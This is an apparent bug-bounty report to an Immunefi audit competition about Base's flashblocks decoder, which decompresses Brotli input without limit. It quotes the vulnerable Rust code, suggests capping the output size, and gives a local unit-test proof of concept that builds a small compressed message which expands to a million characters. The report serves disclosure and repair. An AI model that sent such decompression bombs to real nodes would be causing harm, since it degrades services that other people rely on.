Immunefi Audit Competitions
Base

75034 bc medium unbounded brotli decompression in flashblock message decoding leads to node memory cpu exhaustion dos

Submitted on Apr 26th 2026 at 20:20:38 UTC by @raidocent for Audit Comp | Base Azul

  • Report ID: #75034
  • Report Type: Blockchain/DLT
  • Report severity: Medium
  • Target: https://github.com/base/base/tree/v0.8.0-rc.24
  • Impacts:
    • Increasing network processing node resource consumption by at least 30% without brute force actions, compared to the preceding 24 hours

Description

Brief/Intro

The flashblocks decoder in base/base (crates/common/flashblocks) decompresses Brotli input with read_to_end and no limit on how large the output can grow. A small compressed message can expand to a huge buffer in memory before JSON is parsed. If that code path sees untrusted input and nothing else caps size first, it can be used for a decompression-style DoS (memory/CPU pressure on the process). No user funds are taken; it’s a liveness / resource issue.

Vulnerability Details

Where: Flashblock::try_parse_message in crates/common/flashblocks/src/block.rs (internal helper used by try_decode_message).

What’s wrong: If the bytes aren’t treated as plain JSON starting with {, the code uses the Brotli crate and does read_to_end into a Vec with no max decompressed length. The 4096 in Decompressor::new is only the read buffer size, not an output cap.

Relevant snippet (from 819ea306db40792a50626243034a62e3ca015ba6):

let mut decompressor = brotli::Decompressor::new(bytes.as_ref(), 4096);
let mut decompressed = Vec::new();
decompressor.read_to_end(&mut decompressed).map_err(FlashblockDecodeError::Decompress)?;

Fix direction: cap total decompressed bytes (e.g. take(n) on the reader) before read_to_end, and/or cap max wire length for the plain-JSON branch.

Impact Details

Impact I selected on the form: Increasing network processing node resource consumption by at least 30% without brute force actions, compared to the preceding 24 hours.

What an exploit would do: waste RAM and CPU on decode; could slow or crash individual nodes or services that parse these messages if they’re exposed to attacker-controlled payloads and don’t already limit size at the edge.

What I’m not claiming: chain split, stolen funds, bridge loss, or breaking L1 finality. I also can’t prove the exact 30% / 24h bar from a local test alone—that’s for you to judge against real deployment limits.

References


Proof of Concept

This is written for triage and reproduction (per Step-by-step POCs for Audit Competitions). The bug is Rust in base/base crates/common/flashblocks, not a smart contract, so the Foundry / Solidity templates do not apply.

Rules: no mainnet or public testnets; reproduce with local cargo test only (not a live-network DoS). In-scope asset: github.com/base/base (use the program’s required ref, e.g. v0.8.0-rc.24).

The plain-JSON path only runs if from_utf8 succeeds and the text starts with {

The plain-JSON path only runs if from_utf8 succeeds and the text (after trim_start) starts with {. Otherwise the decoder takes the Brotli path and calls read_to_end into an unbounded Vec — no cap on decompressed size.

A small on-the-wire Brotli blob can still expand to a very large decompressed string

A small on-the-wire Brotli blob can still expand to a very large decompressed string, using RAM/CPU before further parsing.

How to verify: clone and check out the in-scope base/base ref. In crates/common/flashblocks/src/block.rs, add the new test and helpers below to the existing #[cfg(test)] mod tests (if that checkout already defines encode_brotli and sample_payload next to the other tests, add only decompress_brotli_expands_without_size_cap to avoid duplicate items). From the repo root, run:
cargo test -p base-common-flashblocks decompress_brotli_expands_without_size_cap -- --ignored --nocapture


Vulnerable code (production, block.rs)

In impl Flashblock (module has use std::io::Read; and use bytes::Bytes; at top).

fn try_parse_message(bytes: Bytes) -> Result<String, FlashblockDecodeError> {
    if let Ok(text) = std::str::from_utf8(&bytes)
        && text.trim_start().starts_with('{')
    {
        return Ok(text.to_owned());
    }

    let mut decompressor = brotli::Decompressor::new(bytes.as_ref(), 4096);
    let mut decompressed = Vec::new();
    decompressor
        .read_to_end(&mut decompressed)
        .map_err(FlashblockDecodeError::Decompress)?;

    let text = String::from_utf8(decompressed).map_err(FlashblockDecodeError::Utf8)?;
    Ok(text)
}

Reproduction test (same mod tests as other Flashblock tests)

The test encodes a JSON with a 1M-character pad field with Brotli, then decodes with try_decode_message (which uses try_parse_message). The compressed wire stays small; decompressed data is large.

fn encode_brotli(payload: &FlashblocksPayloadV1) -> Bytes {
    let mut compressed = Vec::new();
    let data = serde_json::to_vec(payload).expect("serialize payload");
    {
        let mut writer = brotli::CompressorWriter::new(&mut compressed, 4096, 5, 22);
        writer.write_all(&data).expect("write compressed payload");
    }
    Bytes::from(compressed)
}

/// PoC: Brotli path uses `read_to_end` with no cap on decompressed size.
#[test]
#[ignore = "allocates a large buffer; not for default CI runs"]
fn decompress_brotli_expands_without_size_cap() {
    const PAD: usize = 1_000_000;
    let big = "x".repeat(PAD);
    let payload = sample_payload(
        json!({ "block_number": 0u64, "pad": big })
    );
    let wire = encode_brotli(&payload);
    assert!(
        wire.len() < PAD / 10,
        "wire should be much smaller than decompressed JSON (Brotli-compressed padding)"
    );
    let _decoded = Flashblock::try_decode_message(wire).expect("valid flashblock");
}

fn sample_payload(metadata: serde_json::Value) -> FlashblocksPayloadV1 {
    FlashblocksPayloadV1 {
        payload_id: PayloadId::default(),
        index: 7,
        base: Some(ExecutionPayloadBaseV1 {
            parent_beacon_block_root: B256::from([1u8; 32]),
            parent_hash: B256::from([2u8; 32]),
            fee_recipient: Address::ZERO,
            prev_randao: B256::from([3u8; 32]),
            block_number: 9,
            gas_limit: 1_000_000,
            timestamp: 1_700_000_000,
            extra_data: PrimitiveBytes::from(vec![0xAA, 0xBB]),
            base_fee_per_gas: U256::from(10u64),
        }),
        diff: ExecutionPayloadFlashblockDeltaV1 {
            state_root: B256::from([4u8; 32]),
            receipts_root: B256::from([5u8; 32]),
            logs_bloom: Bloom::default(),
            gas_used: 500_000,
            block_hash: B256::from([6u8; 32]),
            transactions: vec![PrimitiveBytes::from(vec![0x01, 0x02])],
            withdrawals: Vec::new(),
            withdrawals_root: B256::from([7u8; 32]),
            blob_gas_used: Some(44),
        },
        metadata,
    }
}